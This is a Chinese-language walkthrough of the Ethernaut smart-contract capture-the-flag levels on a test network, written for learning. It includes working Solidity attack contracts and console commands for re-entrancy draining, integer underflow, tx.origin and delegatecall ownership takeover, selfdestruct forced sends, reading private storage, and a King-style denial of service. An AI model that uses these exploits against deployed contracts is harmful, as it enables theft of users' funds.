Ethernaut 是一个部署在 Ropsten 测试网络上面的智能合约代码审计类题目,网址:
https://ethernaut.openzeppelin.com

多次尝试之后,在我要放弃的时候竟然可以了!?

出现这三个东西的时候就可以了,如果不行:科学上网,重启 MetaMask 插件,甚至换个浏览器、换台电脑都可以试试,总有一个适合你 😜
(这些地址露出来应该没事吧)反正测试网络、反正我没钱。只要我一无所有,我就不怕被利用 2333

image.png
image.png

配置

先说一下开始之前的配置,首先要下一个插件,叫 MetaMask,跟着提示做就好了,然后我们需要点以太币来做题,因为我们用的是测试网络,所以有白嫖的方法,不用挖矿啥的

image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575895199-fc51f4c7-3c45-47cc-a81b-22ec4f001267.png#align=left&display=inline&height=318&margin=%5Bobject%20Object%5D&name=image.png&originHeight=635&originWidth=460&size=45998&status=done&style=stroke&width=230)  ![image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575922220-60c7cd33-3a47-4683-b4b1-3a5aaa1bf9ff.png#align=left&display=inline&height=281&margin=%5Bobject%20Object%5D&name=image.png&originHeight=560&originWidth=451&size=25409&status=done&style=stroke&width=226)  ![image.png
image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575895199-fc51f4c7-3c45-47cc-a81b-22ec4f001267.png#align=left&display=inline&height=318&margin=%5Bobject%20Object%5D&name=image.png&originHeight=635&originWidth=460&size=45998&status=done&style=stroke&width=230)  ![image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588575922220-60c7cd33-3a47-4683-b4b1-3a5aaa1bf9ff.png#align=left&display=inline&height=281&margin=%5Bobject%20Object%5D&name=image.png&originHeight=560&originWidth=451&size=25409&status=done&style=stroke&width=226)  ![image.png

如果不能展示这个页面,可以试试换个电脑试试,我就是笔记本死活打不开,非要说我在主网上,然后把之前生成账号的那 12 个单词保存下来,用我家台式机登上获取了五个(最多能拿五个,另外后来发现我笔记本 360 浏览器能访问,chrome 不行)

image.png
image.png

在题目网站里面摁下 F12 打开控制台,然后输入 player,如果能展示出跟你 metamask 插件一样的地址的话,就说明环境没问题了

image.png
image.png

Hello Ethernaut

输入 player 就可以看到你的地址

image.png
image.png

getBalance(player) 查看以太币余额

image.png
image.png

chrome v62 以上的版本,可以用 await getBalance(player) 更简洁

image.png
image.png

ethernaut 可以查看合约,但是对于菜鸡来说是没有用的

image.png
image.png

await ethernaut.owner() 可以看一下合约的拥有者

image.png
image.png

上面并不是这个游戏的关卡,只是一些简单的命令,让你了解了解
玩游戏时,不会直接与 ethernaut 合约进行交互。它会给你生成一个关卡实例。只要单击页面底部的蓝色按钮就可以生成。metamask 会弹一个框,确认就行

image.png
image.png
image.png
image.png

题目同时给出了源码,你可以从 info() 开始执行,根据提示,一步一步走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.18;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
//上面声明了一系列的变量
function Instance(string _password) public {
password = _password;
}//构造函数,password=_password
function info() public pure returns (string) {
return 'You will find what you need in info1().';
}//info()函数返回一串字符串
function info1() public pure returns (string) {
return 'Try info2(), but with "hello" as a parameter.';
}//info1()函数返回一串字符串
function info2(string param) public pure returns (string) {
if(keccak256(param) == keccak256('hello')) {
return 'The property infoNum holds the number of the next info method to call.';
}//info2()接受一个字符串与‘hello’比较一样则返回上面的,否则返回下面的
return 'Wrong parameter.';
}
function info42() public pure returns (string) {
return 'theMethodName is the name of the next method.';
}//info()42返回一串字符串
function method7123949() public pure returns (string) {
return 'If you know the password, submit it to authenticate().';
}//method7123949()返回一串字符串
function authenticate(string passkey) public {
if(keccak256(passkey) == keccak256(password)) {
cleared = true;
}//authenticate()接受一个字符串参数
}//与password进行比较,一样的话cleared改为true
function getCleared() public view returns (bool) {
return cleared;
}//返回cleared的状态
}

就像这样

image.png
image.png

等他处理完就可以点击黄色按钮提交了

image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588577816582-58ee752e-1206-4e71-841c-10e7a5e74266.png#align=left&display=inline&height=332&margin=%5Bobject%20Object%5D&name=image.png&originHeight=768&originWidth=520&size=33836&status=done&style=stroke&width=225)![image.png
image.png](https://cdn.nlark.com/yuque/0/2020/png/268938/1588577816582-58ee752e-1206-4e71-841c-10e7a5e74266.png#align=left&display=inline&height=332&margin=%5Bobject%20Object%5D&name=image.png&originHeight=768&originWidth=520&size=33836&status=done&style=stroke&width=225)![image.png

也可以直接看源码,想要通过的话,也就是想要改变 cleared 的话,需要调用 authenticate,并且传入 passkey 与 password 进行 hash 的比较。可以看前面第三行,password 的定义是 public 的,所以可以直接:

1
2
await contract.password();
await contract.authenticate("ethernaut0");
image.png
image.png

完成的标志

image.png
image.png

Fallback

通关条件:
获得合约的所有权
把余额减少成 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {
//Fallback合约继承自Ownable合约
using SafeMath for uint256;
mapping(address => uint) public contributions;
//通过映射,可以使用地址获取贡献的值
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}//构造函数设置合约创建者的贡献值为1000以太币

function contribute() public payable {
require(msg.value < 0.001 ether);//每次贡献的值小于0.001以太币
contributions[msg.sender] = contributions[msg.sender].add(msg.value);//累计起来
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}//当你贡献的值大于1000的时候就你成为合约所有者
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}//获取你的贡献值

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}//onlyOwner修饰,所以只有合约所有者才能用来提款

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);//判断金额与贡献值是否大于零
owner = msg.sender;//msg.sender就是调用者,也就是我们
//执行这一条语句owner就成了我们
}
}

思路:首先贡献一点金额,来通过 require 触发 fallback 函数,来成为合约的所有者,然后 withdraw 函数转走合约中的所有钱

贡献金额 contract.contribute({value:1})
这个 1 代表 1 wei,是以太币最小的单位
查看一下合约中的余额 await getBalance(instance)

image.png
image.png

await contract.owner() 先看一下合约所有者
补充:
触发 fallback 函数的条件:

  • 当调用一个不存在的函数的时候
  • 发送没有数据的纯 ether 时

所以我们可以通过
await contract.sendTransaction({value: 1})
来发送触发 fallback 函数

这时候合约所有者就是我们了

image.png
image.png

现在我们已经是合约的所有者了,可以调用那个 withdraw 函数来提现了

一开始合约中有 0.000…00002
执行 contract.withdraw() 之后合约里没钱了

image.png
image.png

目标完成,提交,通过!

image.png
image.png

Fallout

目标:获得合约所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
//这个public的函数并不是构造函数(l与1)...直接调用就可以了
function Fal1out() public payable {
owner = msg.sender;//这条语句就能让我们成为合约所有者
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

先看一下一开始合约的所有者,直接调用 Fal1out() 函数,再看一下

image.png
image.png
image.png
image.png

Coin Flip

猜硬币游戏
目标:连续猜对十次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;//连胜次数
uint256 lastHash;//上一个hash
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//这个数是2^255
function CoinFlip() public {
consecutiveWins = 0;
}//构造函数,每次开始把赢的次数归零

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
if (lastHash == blockValue) {
revert();//如果最后的hash等于计算出来的
}//中止执行并将所做的更改还原为执行前状态

lastHash = blockValue;//改成上个区块的hash值为这个区块的
uint256 coinFlip = blockValue.div(FACTOR);
//coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
//因为除法运算会取整,所以coinFlip由blockValue的最高位决定
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
return true;
} else {
consecutiveWins = 0;//否则归零
return false;
}
}
}

首先获取一个实例,然后拿到合约的地址以及 consecutiveWins 的值

image.png
image.png

我们来考虑一下,应该怎么实现攻击,首先,我们已经知道他的算法是怎么样的了,而且它用来计算的东西我们同样可以找到,所以,我们完全可以先进行计算,把结果在给他发过去就好啦

exp 如下,把 exp 代码复制到 remix IDE 中,部署 exploit 合约(要用之前得到的那个合约地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.4.18;
import './SafeMath.sol';

contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;//连胜次数
uint256 lastHash;//上一个hash
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//这个数是2^255
function CoinFlip() public {
consecutiveWins = 0;
}//构造函数,每次开始把赢的次数归零

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
if (lastHash == blockValue) {
revert();//如果最后的hash等于计算出来的
}//中止执行并将所做的更改还原为执行前状态

lastHash = blockValue;//改成上个区块的hash值为这个区块的
uint256 coinFlip = blockValue.div(FACTOR);
//coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
//因为除法运算会取整,所以coinFlip由blockValue的最高位决定
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
return true;
} else {
consecutiveWins = 0;//否则归零
return false;
}
}
}
contract attack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9);
//这表示已经有一个CoinFlip合约部署在了这个地址
function pwn(){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue /FACTOR;
bool side = coinFlip == 1 ? true : false;
expFlip.flip(side);
}
}

这里也贴一下 SafeMath.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//SafeMath.sol
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
image.png
image.png

首先,生成题目实例,复制题目合约的地址

image.png
image.png

使用 http://remix.ethereum.org 部署我们的 attack 合约,把题目合约地址复制给他的构造函数,然后 Deploy 部署

image.png
image.png

点击 pwn 来攻击

image.png
image.png
image.png
image.png

在题目的控制台看一下连胜次数,直到 c 的值成了 10,就可以点击橙色提交啦

image.png
image.png

成功!

image.png
image.png

Telephone

目标:获得合约所有权

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}//构造函数,部署的人是合约的所有者
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
}
}

画个图了解一下 tx.origin 与 msg.sender 的区别(对于最右边的来说)

image.png
image.png

很明显,想要让 tx.origin 跟 msg.sender 不同,我们只需要部署一个合约,通过这个合约去调用题目合约的 changeOwner 就可以啦

首先 await contract.owner() 看一下现在合约的所有者

image.png
image.png

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}//构造函数,部署的人是合约的所有者
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
}
}
contract attack{
Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229);
function pwn{
hacked.changeOwner(msg.sender);
//这个参数msg.sender是调用pwn函数的调用者,也就是我们的地址,也就是tx.origin
//但是对于题目合约来说,msg.sender却是调用它的我们部署的attack合约的地址
}
}

部署之后,点击 hack 就可以啦

image.png
image.png

再看一下,合约所有者已经变了

image.png
image.png

提交就好啦

image.png
image.png

Token

目标:获取更多的 token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}//构造函数,在一开始给合约一些钱

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);//先检查调用者的余额是不是大于转账金额
balances[msg.sender] -= _value;//调用的人减金额_value
balances[_to] += _value;//给目标增加金额_value
return true;
}//转账
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}//查询余额
}

一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢
uint256 的取值范围是 [0-2^256-1],所以如果我们转 21 的话 20-21 = -1,也就是过了 0 到了 2^256-1

image.png
image.png

await contract.transfer(‘0x3C7f1E9B49B2f7c92e25224199d05D5Cb6923820’,30)
随便找个地址转账(我把我地址最后一位改成了 0)完了之后是这样的,提交就可以啦

image.png
image.png
image.png
image.png

Delegation

目标:拥有所有权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}//构造函数
function pwn() public {
owner = msg.sender;
}//如果能调用这个pwn函数就可以了
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);//把合约给实例化了
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}//fallback函数,其中的delegatecall跟call的区别在于
//前者所调用的函数在本合约中执行的,其他的信息都是自己合约的,相当于把函数拷贝到当前合约来执行
}
}

我们要做的就是通过 delegatecall 来调用 pwn 函数,正如注释中说的那样,delegatecall 函数需要所用到的信息比如代码中的 msg.sender 就是这个合约的,所以只要我们构造一下 msg.data 就能够去调用 pwn 函数

当给 call 传入的第一个参数是 4 字节的时候,call 就会把这个参数作为要调用的函数,这个参数在以太坊的函数选择器的生成规则里是函数签名的 sha3 的前 4 个字节,接下来我们要做的就是触发回退函数,来执行 pwn 函数

可以使用 sendTransaction:
contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});
slice 为提取字符串的前 10 个字符,四个字节,就是 10 个字符(例:0x34567890)

image.png
image.png
image.png
image.png

Force

目标:让合约中有钱

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

什么代码都没有,但是有一种自毁合约的方法 selfdestruct,这种方法会把合约中剩余的钱强制转到某一个地址
在 remix 里面部署一个合约

1
2
3
4
5
6
7
pragma solidity ^0.4.20;
contract exp {
function exp() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
image.png
image.png

调用 exploit 函数,自毁合约,同时把地址填成题目的合约地址

image.png
image.png

余额已经不是 0 了

image.png
image.png

这时候提交就可以啦

image.png
image.png

Vault

目标:解锁 vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;//定义了一个密码
function Vault(bytes32 _password) public {
locked = true;//构造函数,locked为true
password = _password;//定义了一个password
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;//如果输入的密码正确就可以解锁
}
}
}

只要密码对了就行,我们不知道它定义的密码是什么,而且 password 变量是 private 的,但是在区块里面数据是透明的,私有变量标记只能阻止其他合约访问它。标记为私有变量或局部变量的状态变量,仍然可被公开访问到

getStorageAt 第一个参数是合约地址,后面是参数的位置,参数的位置是按照声明的顺序来排的,这里的 locked 是第一个所以是 0,password 是第二个,位置就是 1

image.png
image.png

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))})
//可以 alert 的方式将该地址的第 2 个值转化 ascii 显示

image.png
image.png

web3.eth.getStorageAt(contract.address, 1, function(x, y){console.info(web3.toAscii(y))})
//也可以在控制台直接输出

image.png
image.png

提交
await contract.unlock(“A very strong secret password :)”)
查看一下,已经解锁了,提交就可以了

image.png
image.png
image.png
image.png

King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;

function King() public payable {
king = msg.sender;//构造函数,king是创建者
prize = msg.value;//prize是创建者发送的金额
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
//要求发送的金额大于等于king的金额或发送者是合约拥有着
king.transfer(msg.value);//把的转账给目前的king
king = msg.sender;//king变成msg.sender
prize = msg.value;//prize是现在这个king发送的金额数
}
}

谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract attack{
function attack(address _addr) public payable{
_addr.call.gas(10000000).value(msg.value)();
//先给合约一些钱,使得我们成为king
}
function () public {
revert();
}
}

用 remix 部署合约,只需要构造一个没有 payable 的回退函数,就接收不到金额了

image.png
image.png

king 变成了攻击合约的地址(我截图乱套了,不知道哪一次的了,反正是通过了)

image.png
image.png
image.png
image.png
image.png
image.png

Re-entrancy

目标:拿到合约里面的所有资金

这个题老版本失败!白往里面放了那么多钱!!!
用新版本的成功了
**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}//捐赠
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}//查看余额
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {//提现金额要大于余额
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}//提现
balances[msg.sender] -= _amount;
}//但是这里是完成交易之后再从账户里面把提现的金额减去
}
function() external payable {}
}

因为他是提现完成之后才修改账户余额的,可以使用重入攻击
另外常用转币方式有三种,题目中用了第三种方法

.reansfer() 发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入
.send() 发送失败时,返回布尔值 false,只会传递 2300 个 gas 以供调用,从而防止重入
.gas().call.value()() 当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击

用的是这个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
fallback() external payable {}
}
contract Reenter {
Reentrance reentranceContract;
uint public amount = 1 ether; //withdrawal amount

constructor(address payable reentranceContactAddress) public payable {
reentranceContract = Reentrance(reentranceContactAddress);
}
function initiateAttack() public {
reentranceContract.donate{value:amount}(address(this));
//首先,需要捐赠一些钱
reentranceContract.withdraw(amount);
//然后调用合约的withdraw函数提现
}
fallback() external payable {
if (address(reentranceContract).balance >= 0 ) {
reentranceContract.withdraw(amount);
}//因为我们接受以太币的时候也会调用我们的回退函数
//而我们的回退函数中又一次调用了题目合约的withdraw函数
}
}

部署的时候给他 1 ether,然后使用 initiateAttack 就可以啦
**

image.png
image.png

**
image.png
image.png

**
执行后
**

image.png
image.png
image.png
image.png